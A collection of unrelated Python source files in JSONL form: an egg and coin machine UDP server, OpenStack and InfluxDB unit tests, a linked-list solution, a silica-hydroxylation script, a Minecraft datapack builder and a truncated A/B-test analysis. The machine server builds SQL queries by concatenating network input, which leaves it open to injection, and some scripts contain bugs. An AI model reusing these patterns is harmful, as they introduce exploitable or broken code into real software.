== 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\t\treturn\n\t\tsql = \"update egg_machine set inventory_state=\"+inventorStat\n\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\telse:\n\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleOutEgg(sock, client, data):\n\tprint(\"HandleOutEgg\")\n\tprint(data)\n\tif(len(data) == 3):\n\t\tmachineCode = data[0]\n\t\tinEggNum = data[1]\n\t\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\t\tconfig.database)\n\t\tsql = \"select * from egg_machine where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) == 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\t\treturn\n\t\tdate = data[2]\n\t\tsql = \"insert into egg_ac values (null,\"+machineCode+\", 3, \"+inEggNum+\", \"+date+\")\"\n\t\tresult = ExcuteSql(conn, sql)\n\t\tsql = \"update egg_machine set eggs_num=eggs_num-\"+inEggNum+\" where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\tconn.close()\n\telse:\n\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleInEgg(sock, client, data):\n\tprint(\"HandleInEgg\")\n\tprint(data)\n\tif(len(data) == 3):\n\t\tmachineCode = data[0]\n\t\tinEggNum = data[1]\n\t\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\t\tconfig.database)\n\t\tsql = \"select * from egg_machine where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tif (len(result) == 0):\n\t\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\t\treturn\n\t\tdate = data[2]\n\t\tsql = \"insert into egg_ac values (null,\"+machineCode+\", 4, \"+inEggNum+\", \"+date+\")\"\n\t\tresult = ExcuteSql(conn, sql)\n\t\tsql = \"update egg_machine set eggs_num=eggs_num+\"+inEggNum+\" where egg_machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\tconn.close()\n\telse:\n\t\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleCoinMachine(sock, client, data):\n\tprint(\"HandleCoinMachine\")\n\tprint(data)\n\tmachineCode = data[0]\n\tconn = ConnDataBase(\"localhost\",\n\t\t\t\t\t\tconfig.sql_user,\n\t\t\t\t\t\tconfig.sql_passwd,\n\t\t\t\t\t\tconfig.database)\n\t#machine_id\n\tsql = \"select * from coin_machine where machine_id=\"+machineCode\n\tresult = ExcuteSql(conn, sql);\n\tif (len(result) == 0):\n\t\tSendCodeBack(sock, client, ReturnCode.NO_RELATED_DATA)\n\t\treturn\n\tif (len(data) == 3):\n\t\t#钥匙操作\n\t\tkeyState = data[1]\n\t\ttime = data[2]\n\t\t#更新钥匙状态\n\t\tsql = \"update coin_machine set key_state=\"+keyState+\" where machine_id=\"+machineCode\n\t\tresult = ExcuteSql(conn, sql);\n\t\t#记录钥匙数据\n\t\tsql = \"insert into coin_machine_key_ac values (null, \"+machineCode+\", \"+keyState+\", '\"+time+\"')\";\n\t\tresult = ExcuteSql(conn, sql);\n\t\tconn.close()\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\treturn\n\tif (len(data) == 4):\n\t\t#进出币操作\n\t\tprint(\"进出币操作\")\n\t\tmachineCode = data[0]\n\t\toperationKind = data[1]\n\t\tcoinNum = data[2]\n\t\ttime = data[3]\n\t\tsql = \"insert into coin_machine_ac values (null, \"+machineCode+\", \"+operationKind+\", \"+coinNum+\", '\"+time+\"')\"\n\t\tresult = ExcuteSql(conn, sql);\n\t\tif (operationKind == '2'): #出币\n\t\t\tsql = \"update coin_machine set coin_num=coin_num-\"+coinNum+\" where machine_id=\"+machineCode\n\t\t\tresult = ExcuteSql(conn, sql)\n\t\tif (operationKind == '3'): #进币\n\t\t\tsql = \"update coin_machine set coin_num=coin_num+\"+coinNum+\" where machine_id=\"+machineCode\n\t\t\tresult = ExcuteSql(conn, sql)\n\t\tSendCodeBack(sock, client, ReturnCode.OK)\n\t\treturn\n\n\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleWrongData(sock, client, data):\n\tSendCodeBack(sock, client, ReturnCode.DATA_ERR)\n\ndef HandleDiffOperation(sock, client, data_without_user):\n\tkind = int(data_without_user[0])\n\tdata = data_without_user[1:]\n\toperationDic = {\n\t\tOperationKind.DROP_COIN: HandleDropCoin,\n\t\tOperationKind.MACHINE_ERR: HandleMachineError,\n\t\tOperationKind.INVENTORY: HandleInventory,\n\t\tOperationKind.OUT_EGG: HandleOutEgg,\n\t\tOperationKind.IN_EGG: HandleInEgg,\n\t\tOperationKind.COIN_MACHINE: HandleCoinMachine\n\t}\n\toperationDic.get(kind, HandleWrongData)(sock, client, data)\n\ndef ReceiveHandleData(sk):\n\twhile(True):\n\t\treceive_data, client = sk.recvfrom(1024)\n\t\t#这里的编码注意\n\t\treceive_data = receive_data.decode(encoding=\"utf-8\")\n\t\tif(VaildData(receive_data)):\n\t\t\tdata_without_user, user_ok = CheckUser(receive_data)\n\t\t\tprint(data_without_user, user_ok)\n\t\t\tif (user_ok == True):\n\t\t\t\tHandleDiffOperation(sk, client, data_without_user)\n\t\t\telse:\n\t\t\t\tSendCodeBack(sk, client, user_ok)\n\t\telse:\n\t\t\tSendCodeBack(sk, client, ReturnCode.DATA_ERR)","sub_path":"back_data_save/handle_data.py","file_name":"handle_data.py","file_ext":"py","file_size_in_byte":7400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"609300902","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport mock\n\nfrom senlin.drivers.openstack import sdk\nfrom senlin.drivers.openstack import zaqar_v2\nfrom senlin.tests.unit.common import base\nfrom senlin.tests.unit.common import utils\n\n\nclass TestZaqarV2(base.SenlinTestCase):\n\n    def setUp(self):\n        super(TestZaqarV2, self).setUp()\n\n        self.ctx = utils.dummy_context()\n        self.conn_params = self.ctx.to_dict()\n        self.mock_conn = mock.Mock()\n        self.mock_create = self.patchobject(\n            sdk, 'create_connection',\n            return_value=self.mock_conn)\n        self.message = self.mock_conn.message\n\n    def test_init(self):\n        zc = zaqar_v2.ZaqarClient(self.conn_params)\n        self.mock_create.assert_called_once_with(self.conn_params)\n        self.assertEqual(self.mock_conn, zc.conn)\n\n    def test_queue_create(self):\n        zc = zaqar_v2.ZaqarClient(self.conn_params)\n        zc.queue_create(name='foo')\n        self.message.create_queue.assert_called_once_with(name='foo')\n\n    def test_queue_get(self):\n        zc = zaqar_v2.ZaqarClient(self.conn_params)\n        zc.queue_get('foo')\n        self.message.get_queue.assert_called_once_with('foo')\n\n    def test_queue_list(self):\n        self.message.queues.return_value = [{'name': 'q1'},\n                                            {'name': 'q2'}]\n        zc = zaqar_v2.ZaqarClient(self.conn_params)\n        zc.queue_list()\n        self.message.queues.assert_called_once_with()\n        self.message.queues.reset_mock()\n\n        zc.queue_list(foo='bar')\n        self.message.queues.assert_called_once_with(foo='bar')\n\n    def test_queue_delete(self):\n        zc = zaqar_v2.ZaqarClient(self.conn_params)\n        zc.queue_delete('foo', True)\n        self.message.delete_queue.assert_called_once_with('foo', True)\n        self.message.delete_queue.reset_mock()\n\n        zc.queue_delete('foo', False)\n        self.message.delete_queue.assert_called_once_with('foo', False)\n        self.message.delete_queue.reset_mock()\n\n        zc.queue_delete('foo')\n        self.message.delete_queue.assert_called_once_with('foo', True)\n","sub_path":"senlin/tests/unit/drivers/test_zaqar_v2.py","file_name":"test_zaqar_v2.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"28686726","text":"import logging\nimport unittest\n\nfrom commons import config_reader as cr\nfrom supervision import query_computer_data\nfrom definitions import CONF_PATH\n\n\nclass QueryComputerDataTest(unittest.TestCase):\n\tdef setUp(self):\n\t\t# Reading configuration file\n\t\tself.config = cr.ConfigFileReader(CONF_PATH)\n\t\tinflux_db_conf = self.config.get_db_conf('influxdb')\n\t\tpg_conf = self.config.get_db_conf('postgres')\n\n\t\t# Set logging\n\t\tlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s')\n\t\tlogging.basicConfig(format='%(asctime)s %(levelname)-2s - %(module)s / %(funcName)s - line : %(lineno)d '\n\t\t                           '- %(message)s')\n\t\tcatchy_log = logging.getLogger(\"catchy_logger\")\n\t\tcatchy_log.setLevel(self.config.get_env_conf()['log_level'])\n\n\t\t# Set databases connection\n\t\tself.db_conn = {\n\t\t\t'name': influx_db_conf['name'], 'host': influx_db_conf['host'],\n\t\t\t'port': influx_db_conf['port'], 'user': influx_db_conf['user'],\n\t\t\t'password': influx_db_conf['password']\n\t\t}\n\t\tself.query_object = query_computer_data.QueryComputerData(self.db_conn, 'influxdb', self.config)\n\n\t\tself.table = 'cpu'\n\t\tself.element = 'usage_system'\n\t\tself.agregator = 'sum'\n\n\tdef test_init(self):\n\t\t\"\"\" This test ensures that the connection to the database is active\"\"\"\n\t\tself.assertTrue(self.query_object.connection_state, True)\n\n\tdef test_list_elements(self):\n\t\t\"\"\" This test ensures that the method returns a list, with at least 1 agregated_measure\"\"\"\n\t\ttest_list = self.query_object.list_ts_elements('measurements')\n\t\tself.assertIsInstance(test_list, list)\n\t\tself.assertTrue(len(test_list) > 0)\n\n\tdef test_get_detailed_data(self):\n\t\t\"\"\"This test ensures that the method returns a valid string\"\"\"\n\t\ttest_detail = self.query_object.get_detailed_data(self.table, self.element, time='1h')\n\t\tself.assertNotIn(\"Error\", test_detail)\n\t\tself.assertIn(self.table, test_detail)\n\t\tself.assertIn(self.element, test_detail)\n\n\tdef test_get_aggregated_data(self):\n\t\t\"\"\"This test ensures that the method returns a valid string\"\"\"\n\t\ttest_aggregated = self.query_object.get_aggregated_data(self.table, element=['usage_system'], aggregator=['sum'])\n\t\tself.assertIn(\"sum\", test_aggregated)\n\t\tself.assertIn(\"host\", test_aggregated)\n\n\tdef test_get_data_and_compare_to_floor(self):\n\t\ttest, value = self.query_object.get_data_and_compare_to_floor(self.table, element=['usage_system'],\n\t\t\taggregator=['sum'])\n\t\tself.assertIsInstance(float(value), float)\n\n\nclass TransformComputerDataTest(unittest.TestCase):\n\t# TODO\n\tdef setUp(self):\n\t\t# Reading configuration file\n\t\tself.config = cr.ConfigFileReader(CONF_PATH)\n\t\tinflux_db_conf = self.config.get_db_conf('influxdb')\n\t\tpg_conf = self.config.get_db_conf('postgres')\n\n\t\t# Set logging\n\t\tlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s')\n\t\tlogging.basicConfig(format='%(asctime)s %(levelname)-2s - %(module)s / %(funcName)s - line : %(lineno)d '\n\t\t                           '- %(message)s')\n\t\tcatchy_log = logging.getLogger(\"catchy_logger\")\n\t\tcatchy_log.setLevel(logging.ERROR)\n\n\t\t# Set databases connection\n\t\tself.db_conn = {\n\t\t\t'name': influx_db_conf['name'], 'host': influx_db_conf['host'],\n\t\t\t'port': influx_db_conf['port'], 'user': influx_db_conf['user'],\n\t\t\t'password': influx_db_conf['password']\n\t\t}\n\t\tself.transform_object = query_computer_data.TransformComputerData(self.db_conn, 'influxdb', self.config)\n\n\t\tself.table = 'cpu'\n\t\tself.element = 'usage_system'\n\t\tself.aggregator = 'sum'\n\n\t\tself.test_context = dict()\n\t\tself.test_context['measurement'] = 'cpu'\n\t\tself.test_context['aggregator'] = ['DERIVATIVE']\n\t\tself.test_context['target_table_name'] = 'cpu_derivative'\n\t\tself.test_context['transformation'] = 'derivative'\n\t\tself.test_context['measures'] = ['usage_guest', 'usage_guest_nice', 'usage_idle', 'usage_iowait', 'usage_irq',\n\t\t\t'usage_nice', 'usage_softirq', 'usage_steal', 'usage_system', 'usage_user']\n\t\tself.test_context['tag'] = ['cpu', 'host']\n\n\t\tself.test_field_dico = dict()\n\t\tself.test_field_dico['cpu'] = ('cpu', 'VARCHAR(256)')\n\t\tself.test_field_dico['usage_softirq'] = ('derivative_usage_softirq', 'FLOAT')\n\t\tself.test_field_dico['usage_idle'] = ('derivative_usage_idle', 'FLOAT')\n\t\tself.test_field_dico['usage_steal'] = ('derivative_usage_steal', 'FLOAT')\n\t\tself.test_field_dico['usage_iowait'] = ('derivative_usage_iowait', 'FLOAT')\n\t\tself.test_field_dico['usage_nice'] = ('derivative_usage_nice', 'FLOAT')\n\t\tself.test_field_dico['computation_time'] = ('computation_time', 'TIMESTAMP')\n\t\tself.test_field_dico['usage_system'] = ('derivative_usage_system', 'FLOAT')\n\t\tself.test_field_dico['usage_guest_nice'] = ('derivative_usage_guest_nice', 'FLOAT')\n\t\tself.test_field_dico['host'] = ('host', 'VARCHAR(256)')\n\t\tself.test_field_dico['usage_user'] = ('derivative_usage_user', 'FLOAT')\n\t\tself.test_field_dico['usage_guest'] = ('derivative_usage_guest', 'FLOAT')\n\t\tself.test_field_dico['time'] = ('time', 'TIMESTAMP')\n\t\tself.test_field_dico['usage_irq'] = ('derivative_usage_irq', 'FLOAT')\n\n\tdef test_init(self):\n\t\tself.assertTrue(self.transform_object.connection_state, True)\n\n\tdef test_set_transformation_context(self):\n\t\ttest_context = self.transform_object.set_transformation_context('derivative', 'cpu')\n\n\tdef test_build_field_dictionary(self):\n\t\ttest_field_dict = self.transform_object.build_fields_dictionary(True, **self.test_context)\n\n\tdef test_build_select_query(self):\n\t\ttest_select_query = self.transform_object.build_select_query('2017-02-06T12:15:40Z', self.test_field_dico, **self.test_context)\n\n\tdef test_calculate_time_derivation(self):\n\t\tpass\n","sub_path":"test/test_query_computer_data.py","file_name":"test_query_computer_data.py","file_ext":"py","file_size_in_byte":5521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"443321023","text":"# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:\n        l = ListNode(1, None)\n        cur1, cur2, cur = l1, l2, l\n        while cur1 and cur2:\n            if cur1.val <= cur2.val:\n                cur.next = cur1\n                cur1 = cur1.next\n            else:\n                cur.next = cur2\n                cur2 = cur2.next\n            cur = cur.next\n        if (cur1): cur.next = cur1\n        if (cur2): cur.next = cur2\n        return l.next\n","sub_path":"src/linkedlist/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"162387902","text":"#!/home/wkassem/bin/ovitos\nimport numpy as np\nimport ovito\nfrom ovito.io import import_file, export_file\nfrom ovito.modifiers import PythonScriptModifier, CreateBondsModifier, ConstructSurfaceModifier, SelectExpressionModifier, ExpandSelectionModifier\nfrom ovito.data import *\nfrom ovito.vis import BondsDisplay\nimport sys\nimport argparse\n\ndef ensure_no_collision(atm, atm_list):\n    for i in range(atm_list.shape[0]):\n        if position_radial(atm - atm_list[i,:]) < 0.5:\n            print(\"possible collision between atoms at:\")\n            print(atm_list[i,:])\n            return False\n    return True\n\ndef identifier2index(ident, ident_array):\n    for i in range(ident_array.size):\n        if ident == ident_array[i]:\n            return i\n    return -1    \n\n\ndef position_radial(pos):\n    return np.dot(pos[:2],pos[:2])**0.5\n\n\n\ndef create_bond_count_particle(frame, input, output):\n    # Enumerate the created bonds\n    bonds_enum = Bonds.Enumerator(output.bonds)\n\n    # Create new particle property\n    bond_count_property = output.create_user_particle_property(\"bond_count\",data_type='int')\n    total_count = output.number_of_particles\n    \n    # Loop over atoms.\n    bonds_array = output.bonds.array\n    for particle_index in range(total_count):\n        # Loop over half-bonds of current atom.\n        bond_count = 0\n        for bond_index in bonds_enum.bonds_of_particle(particle_index):\n            atomA = bonds_array[bond_index][0]\n            atomB = bonds_array[bond_index][1]\n            assert(atomA == particle_index)\n            bond_count = bond_count + 1\n\n        #print(\"Atom %i has %i bonds\" % (particle_index, bond_count))\n        bond_count_property.marray[particle_index] = bond_count\n        yield (particle_index/total_count)\n\n        \n#### Load a particle:\n##################################################################################\nparser = argparse.ArgumentParser(description='Add hydroxyls groups to the surface of an amorphous silica nanosphere')\nparser.add_argument('filename', metavar='FNAME',\n                    help=\"The path or filename of the LAMMPS dump file\")\nparser.add_argument('coreCutoff', metavar=\"CORE_CUTOFF\", type=float,\n                    help=\"The radius in Angstroms at which the shell region starts\")\nparser.add_argument('outfname', metavar=\"OUTPUT\",\n                    help=\"The path or filename of the output DATA LAMMPS file\")\n\nparser.add_argument('--bondLength', metavar=\"bond_length\", type=float,\n                    help=\"The distance in Angstroms between Si and O atoms to form a bond. Default=1.8\", default=1.8)\n\nparser.add_argument('--OHconcentration', metavar=\"OH_Concentration\", type=float, default=0.0,\n                    help=\"The concentration of surafce OH in OH/nm^2\")\n\nargs = parser.parse_args()\nnode = import_file(args.filename,atom_style=\"charge\")\nprint(\"... loading %s\"%(args.filename) )\nprint(\"... %d files\"%(node.source.num_frames))\nprint(\"... cutoff for core region %d\"%(args.coreCutoff))\n\n\n\n#### Create a bonds modifier (mod) and apply it to the system\n###################################################################################\nrcut = args.bondLength\nmodbonds = CreateBondsModifier(mode = CreateBondsModifier.Mode.Pairwise)\nmodbonds.set_pairwise_cutoff(\"Type 1\", \"Type 2\", rcut)\nmodmesh = ConstructSurfaceModifier(radius=5.0)\n\nmodbondcount = PythonScriptModifier(function = create_bond_count_particle)\nselectsiunder = SelectExpressionModifier(expression = 'ParticleType==1 && bond_count<4')\nselectoxunder = ExpandSelectionModifier(mode=ExpandSelectionModifier.ExpansionMode.Bonded)\n\nprint(\"... creating Si-O bonds using cutoff = %1.4f\"%(rcut))\nnode.modifiers.append(modmesh)\nnode.modifiers.append(modbonds)\nnode.modifiers.append(modbondcount)\nnode.compute()\nnp_surface_area = node.output.attributes['ConstructSurfaceMesh.surface_area']/100.0\nnp_volume = node.output.attributes['ConstructSurfaceMesh.solid_volume']/1000.0\nprint(\"... %d bonds created\"%(node.output.number_of_full_bonds))\nprint(\"... surface area of particle = %1.4f nm^2\"%(np_surface_area))\nprint(\"... volume of particle = %1.4f nm^3\"%(np_volume))\n#nselected = node.output.attributes['SelectExpression.num_selected']\n#print(\"... %d selected atoms\"%(nselected))\n\nbonds_enum = Bonds.Enumerator(node.output.bonds)\n\n# Loop over atoms.\nbonds_array = node.output.bonds.array\nbondc_array = node.output.particle_properties['bond_count'].marray\n#select_array = node.output.particle_properties['Selection'].marray\npos_array = node.output.particle_properties['Position'].marray\nidentif_array = node.output.particle_properties['Particle Identifier'].marray\ntype_array = node.output.particle_properties['Particle Type'].marray\ncharge_array = node.output.particle_properties['Charge'].marray\n\ntotal_count = type_array.size\n\nselectedox = []\niselect = -1\nundercoordsi = 0\nfor particle_index in range(total_count):\n        # Loop over half-bonds of current atom.\n        if (type_array[particle_index] == 1 and np.linalg.norm(pos_array[particle_index,:2]) > float(sys.argv[2]) and \n            bondc_array[particle_index] < 4):\n            undercoordsi += 1\n            r = 0\n            selected = - 1\n            \n            for bond_index in bonds_enum.bonds_of_particle(particle_index):\n                atomA = bonds_array[bond_index][0]\n                atomB = bonds_array[bond_index][1]\n                assert(atomA == particle_index)\n                if type_array[atomA]==2:\n                    tmp = pos_array[atomA]\n                    atomC = atomA\n                else:\n                    tmp = pos_array[atomB]\n                    atomC = atomB\n                #tmp = pos_array[atomA] - pos_array[atomB] \n                tmp = position_radial(tmp)\n                \n                if tmp > r:\n                    r = tmp\n                    selected = atomC\n\n            if selected > 0:\n                selectedox.append(selected)\n\nprint(\"... %d under-coordinated Si atoms found\"%(undercoordsi)) \nselectedox_unique = np.unique(selectedox)\nnum_H_particles = selectedox_unique.size\nprint(\"... %d selected (unique) oxygen atoms = \"%(num_H_particles))\nprint(selectedox)\nprint(\"... old number of particles  %d\"%(total_count))\nprint(\"... OH concentration = %1.5f OH/nm^2\"%(num_H_particles/np_surface_area))\n\n############################## Add more ################################################\nif num_H_particles/np_surface_area < args.OHconcentration:\n    extra_H_needed = int(np.ceil(args.OHconcentration * np_surface_area) - num_H_particles)\n    print(\"   +++ %d extra H particles needed\"%(extra_H_needed))\n    candidateSi=[]\n    candidateOx=[]\n    for particle_index in range(total_count):\n        # Loop over half-bonds of current atom.\n        if (type_array[particle_index] == 1 and np.linalg.norm(pos_array[particle_index,:2]) > float(sys.argv[2]) and \n            bondc_array[particle_index] == 4):\n            candidateSi.append(particle_index)\n            \n    if (4 * len(candidateSi)) < extra_H_needed:\n        print(\"ERROR: Cannot generate requested OH concentration, not enough O\")\n        print(\"        try reducing core cutoff changing bond length\")\n        raise SystemExit\n    else:\n        for particle_index in candidateSi:\n            for bond_index in bonds_enum.bonds_of_particle(particle_index):\n                atomA = bonds_array[bond_index][0]\n                atomB = bonds_array[bond_index][1]\n                assert(atomA == particle_index)\n                if type_array[atomA]==2:\n                    candidateOx.append(atomA)\n                elif type_array[atomB]==2:\n                    candidateOx.append(atomB)\n\n    candidateOx = np.unique(candidateOx)\n    np.random.shuffle(candidateOx)\n    total_H_needed = num_H_particles + extra_H_needed\n\n    istart = 0\n    while extra_H_needed > 0:\n        selectedox.extend(candidateOx[istart:extra_H_needed])\n        istart = istart + extra_H_needed-1\n        extra_H_needed = total_H_needed - len(selectedox)\n\n    selectedox_unique = np.unique(selectedox)\n    num_H_particles = selectedox_unique.size\n    print(\"... %d selected (unique) oxygen atoms = \"%(num_H_particles))\n    print(selectedox)\n    print(\"... old number of particles  %d\"%(total_count))\n    print(\"... OH concentration = %1.5f OH/nm^2\"%(num_H_particles/np_surface_area))\n\n\n# Ensure no collisions between atoms\nprint(\"\\n... Ensuring no collisions between atoms\")\nselectedox_unique_nocollision = []\n\nfor iH in range(num_H_particles):\n    particle_id = selectedox_unique[iH]\n    r = pos_array[particle_id]\n    tmp = 1.0 / np.linalg.norm(r)\n    rp = (1+tmp)*r\n    #rp = rp + np.random.uniform(-0.6,0.6,np.shape(rp))\n    if True: #ensure_no_collision(rp, pos_array):\n        selectedox_unique_nocollision.append(particle_id)\n\nnum_H_particles = len(selectedox_unique_nocollision)\nprint(\"... removed %d atoms\"%(len(selectedox_unique) - len(selectedox_unique_nocollision)))\nprint(\"... final OH concentration = %1.5f OH/nm^2\"%(num_H_particles/np_surface_area))\n\n# The number of particles we are going to create.\nnum_particles = num_H_particles + total_count\n\n# Create the particle position property.\nnew_pos_prop = ParticleProperty.create(ParticleProperty.Type.Position, num_particles)\nnew_type_prop = ParticleProperty.create(ParticleProperty.Type.ParticleType, num_particles)\nnew_identifier_prop = ParticleProperty.create(ParticleProperty.Type.Identifier, num_particles)\nnew_charge_prop = ParticleProperty.create(ParticleProperty.Type.Charge, num_particles)\n\nnew_type_prop.type_list.append(ParticleType(id = 1, name = 'Si', color = (1.0,0.0,0.0)))\nnew_type_prop.type_list.append(ParticleType(id = 2, name = 'O', color = (0.0,0.0,1.0)))\nnew_type_prop.type_list.append(ParticleType(id = 3, name = 'H', color = (0.0,1.0,0.0)))\n\n\nfor particle_index in range(total_count):\n    new_identifier_prop.marray[particle_index] = identif_array[particle_index]\n    new_charge_prop.marray[particle_index] = charge_array[particle_index]\n    new_pos_prop.marray[particle_index,:] = pos_array[particle_index,:]\n    new_type_prop.marray[particle_index] = type_array[particle_index]\n\n\nfor iH in range(num_H_particles):\n    particle_id = selectedox_unique_nocollision[iH]\n    r = pos_array[particle_id]\n    tmp = 1.5 / np.linalg.norm(r)\n    rp = (1+tmp)*r\n    #rp = rp + np.random.uniform(-0.6,0.6,np.shape(rp))\n    s = iH + total_count\n    new_pos_prop.marray[s,:] = rp\n    new_type_prop.marray[s] = 3\n    new_identifier_prop.marray[s] = s + 1\n    new_charge_prop.marray[s] = +1.0\n    \nnew_data = DataCollection()\nnew_data.add(new_pos_prop)\nnew_data.add(new_identifier_prop)\nnew_data.add(new_type_prop)\nnew_data.add(new_charge_prop)\nnew_data.add(node.source.cell)\nif \"Timestep\" in node.source.attributes:\n    new_data.attributes['Timestep'] = node.source.attributes[\"Timestep\"]\n\nnew_node = ovito.ObjectNode()\nnew_node.source = new_data\nnew_node.compute()\n#new_node.add_to_scene()\n\nprint(\"... new number of particles  %d\"%(new_node.output.particle_properties['Particle Type'].size))\nprint(new_node.output.particle_properties[\"Particle Type\"].array)\n\nexport_file(new_node, sys.argv[3], \"lammps_dump\",\n            columns=[\"Particle Identifier\", \"Particle Type\", \"Charge\" ,\"Position.X\", \"Position.Y\", \"Position.Z\"])\nprint(\"... done writing LAMMPS data file %s\"%(args.outfname))\n","sub_path":"hydroxylate.py","file_name":"hydroxylate.py","file_ext":"py","file_size_in_byte":11248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"30602231","text":"import shutil\nimport os\nimport json\n\nfrom .world import World\nfrom .utils import service_message\n\n\nclass Pack:\n\n    namespaces = []\n\n    def __init__(self, *args, **kwargs):\n        self.world = args[0] if len(args) > 0 else World()\n\n    def export(self, location, name):\n\n        if not location.endswith('/'):\n            location = f'{location}/'\n        assert not name == ''\n        assert not '/' in name\n        path = f'{location}{name}/'\n        data_path = f'{path}data/'\n        mc_namespace = f'{data_path}minecraft/'\n        phantom_namespace = f'{data_path}phantom/'\n\n        try:\n            shutil.rmtree(path)\n        except FileNotFoundError:\n            pass\n        os.makedirs(data_path)\n        os.mkdir(phantom_namespace)\n        os.mkdir(mc_namespace)\n\n        with open(f'{path}pack.mcmeta', 'w') as f:\n            f.write(self._get_meta())\n\n        self._build_phantom_namespace(phantom_namespace)\n        self._build_mc_namespace(mc_namespace)\n\n        for namespace in self.namespaces:\n            assert not namespace == 'minecraft'\n            assert not namespace == 'phatom'\n            shutil.copytree(namespace, f'{data_path}{os.path.basename(namespace)}/')\n\n    def _get_meta(self):\n        meta = {\n            'pack': {\n                'description': 'A datapack generated by Phantom',\n                'pack_format': 1\n            }\n        }\n        return json.dumps(meta)\n\n    def _build_phantom_namespace(self, path):\n        os.mkdir(f'{path}functions/')\n        with open(f'{path}functions/loop.mcfunction', 'w') as f:\n            for command in self.world.tick_commands:\n                f.write(f'{command}\\n')\n            for player in self.world.players:\n                for command in player.ensure_commands():\n                    f.write(f'{command}\\n')\n                if player.tag:\n                    excludes = []\n                    for requirement in player.REQUIREMENTS:\n                        if not requirement == player.REQUIRE_TYPE:\n                            excludes.append(requirement)\n                    f.write(f'tag {player.get_selector(exclude=excludes)} remove {player.tag}\\n')\n                    f.write(f'tag {player.get_selector()} add {player.tag}\\n')\n        with open(f'{path}functions/setup.mcfunction', 'w') as f:\n            f.write(f'{service_message(\"Loaded!\")}\\n')\n            for gamerule, value in self.world.gamerules.items():\n                f.write(f'gamerule {gamerule} {str(value).lower()}\\n')\n            for command in self.world.load_commands:\n                f.write(f'{command}\\n')\n\n    def _build_mc_namespace(self, path):\n        os.makedirs(f'{path}/tags/functions/')\n        with open(f'{path}tags/functions/tick.json', 'w') as f:\n            f.write(json.dumps({\n                'values': [\n                    'phantom:loop'\n                ]\n            }))\n        with open(f'{path}tags/functions/load.json', 'w') as f:\n            f.write(json.dumps({\n                'values': [\n                    'phantom:setup'\n                ]\n            }))\n","sub_path":"phantom/pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"530554864","text":"import pandas as pd \npandas.set_option('display.max_columns', 20)\npandas.set_option('display.width', 350)\n#read from google drive\ndata = pd.read_csv(\"./randomization.py\")\ndata.head()\n\ndata_grouped_source = data.groupby(\"source\")[\"test\"].agg({\"frequency_test_0\": lambda x: len(x[x==0]), \"frequency_test_1\": lambda x: len(x[x==1])} )\n\nprint(data_grouped_source/data_grouped_source.sum())\n\n\nimport graphviz\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.tree import export_graphviz\nfrom graphviz import Source\n  \n#drop user_id, not needed\ndata = data.drop(['user_id'], axis=1)\n#make dummy vars. Don't drop one level here, keep them all. You don't want to risk dropping the one level that actually creates problems with the randomization\ndata_dummy = pandas.get_dummies(data)\n#model features, test is the label and conversion is not needed here\ntrain_cols = data_dummy.drop(['test', 'conversion'], axis=1)\n  \ntree=DecisionTreeClassifier(\n    #change weights. Our data set is now perfectly balanced. It makes easier to look at tree output\n    class_weight=\"balanced\",\n    #only split if if it's worthwhile. The default value of 0 means always split no matter what if you can increase overall performance, which creates tons of noisy and irrelevant splits\n    min_impurity_decrease = 0.001\n    )\ntree.fit(train_cols,data_dummy['test'])\n  \nexport_graphviz(tree, out_file=\"tree_test.dot\", feature_names=train_cols.columns, proportion=True, rotate=True)\ns = Source.from_file(\"tree_test.dot\")\ns.view()\n\nfrom scipy import stats\n  \n#this is the test results using the orginal dataset\noriginal_data = stats.ttest_ind(data_dummy.loc[data['test'] == 